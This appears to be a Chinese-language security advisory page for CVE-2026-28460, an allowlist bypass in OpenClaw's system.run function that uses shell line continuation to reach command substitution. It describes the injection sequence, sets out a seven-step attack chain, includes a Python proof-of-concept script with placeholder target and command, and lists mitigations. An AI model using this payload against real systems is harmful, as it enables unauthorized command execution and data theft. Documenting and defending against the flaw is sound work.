IPBUF安全漏洞报告
English
CVE-2026-28460 CVSS 7.1 高危

CVE-2026-28460 OpenClaw system.run白名单绕过漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-28460
漏洞类型
白名单绕过/命令注入
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

白名单绕过命令注入shell行续符OpenClawCVE-2026-28460system.runallowlist bypass命令替换高危漏洞

漏洞概述

OpenClaw是一款自动化工具,在2026年2月22日之前的版本中存在严重的安全漏洞。该漏洞位于system.run函数的allowlist(白名单)机制中,攻击者可以利用shell行续符(line continuation characters)来绕过安全检查,执行未被授权列入白名单的系统命令。具体来说,攻击者通过在双引号字符串中注入特定的字符序列($\后跟换行符和左括号),使得shell将行续符与后续内容折叠成可执行的命令替换形式,从而绕过OpenClaw的审批边界。由于该漏洞不需要高权限即可利用(低权限用户即可触发),且无需用户交互,因此具有较高的实际威胁性。攻击者可以利用此漏洞在受影响系统上执行任意命令,可能导致数据泄露、系统完全沦陷等严重后果。建议受影响的用户尽快升级到修复版本或采取临时缓解措施。

技术细节

该漏洞的根本原因在于OpenClaw的system.run函数对命令参数的验证不完善。攻击者利用shell的行续符特性,将原本被白名单阻止的命令片段通过特殊构造的分隔方式绕过检测。具体利用方式如下:在双引号字符串中注入$\,后跟一个换行符(\n)和左括号((),这种构造会导致shell将行续符与后续内容连接起来,形成一个有效的命令替换表达式。例如,攻击者可以构造类似"$\n("的序列,使得shell将换行符后的左括号与前面的内容合并解析,从而绕过OpenClaw的安全分析引擎对该命令的识别和拦截。这种技术利用了shell解析器的行续符处理逻辑,在命令执行前将分散的命令片段重新组合成一个完整的恶意命令。由于OpenClaw在命令执行前的安全检查是基于静态分析或模式匹配的,而攻击者利用了shell的动态解析特性,使得安全检查无法准确识别这种经过特殊编码的恶意命令。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统上运行的OpenClaw版本,确认其低于2026.2.22
STEP 2
步骤2
攻击者获取OpenClaw的低权限账户访问权限(如API密钥或Web界面访问)
STEP 3
步骤3
攻击者构造恶意payload,在system.run命令参数中注入$\后跟换行符和左括号的序列
STEP 4
步骤4
OpenClaw的安全检查机制尝试验证命令是否在白名单中,但由于行续符的存在,无法正确识别恶意命令
STEP 5
步骤5
Shell解析器处理命令时,将行续符与后续内容合并,形成完整的命令替换表达式
STEP 6
步骤6
恶意命令被执行,攻击者成功绕过白名单限制,在系统上执行任意未授权的命令
STEP 7
步骤7
攻击者利用获得的命令执行权限进行后续攻击,如数据窃取、权限提升或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-28460 OpenClaw system.run Allowlist Bypass PoC # This PoC demonstrates bypassing the allowlist using shell line continuation # Reference: https://www.vulncheck.com/advisories/openclaw-allowlist-bypass-via-shell-line-continuation-command-substitution-in-system-run import requests import json TARGET_URL = "http://target-openclaw-server:8080" API_KEY = "your_api_key_here" def exploit_allowlist_bypass(): """ Exploit the allowlist bypass in OpenClaw's system.run function by using shell line continuation characters to split command substitution. """ headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Malicious payload using line continuation to bypass allowlist # The $\ followed by newline and ( causes shell to fold the line # continuation into executable command substitution malicious_command = '"$\n(malicious_command_here)"' payload = { "action": "system.run", "command": malicious_command, "args": { "timeout": 30 } } try: response = requests.post( f"{TARGET_URL}/api/v1/execute", headers=headers, json=payload, timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: result = response.json() if result.get("success"): print("[+] Allowlist bypass successful! Command executed.") return True print("[-] Exploitation failed or target not vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def verify_version(): """Check if target is running a vulnerable version""" try: response = requests.get( f"{TARGET_URL}/api/v1/version", headers=headers, timeout=10 ) version = response.json().get("version", "") # Vulnerable if version < 2026.2.22 print(f"[*] Target version: {version}") return version except: return None if __name__ == "__main__": print("[*] CVE-2026-28460 OpenClaw Allowlist Bypass PoC") print("[*] Target:", TARGET_URL) version = verify_version() if version: exploit_allowlist_bypass()

影响范围

OpenClaw < 2026.2.22

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)立即限制对system.run功能的访问权限,仅允许必要的受信任用户使用;2)在系统层面添加输入过滤规则,拒绝包含$\、\n、\(等特殊字符组合的请求;3)启用OpenClaw的详细审计日志功能,实时监控所有system.run调用,及时发现异常行为;4)考虑暂时禁用system.run功能,直到完成版本升级;5)加强网络层面的访问控制,限制对OpenClaw管理接口的访问来源;6)对使用OpenClaw的系统进行全面安全检查,确认是否存在已被入侵的迹象。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表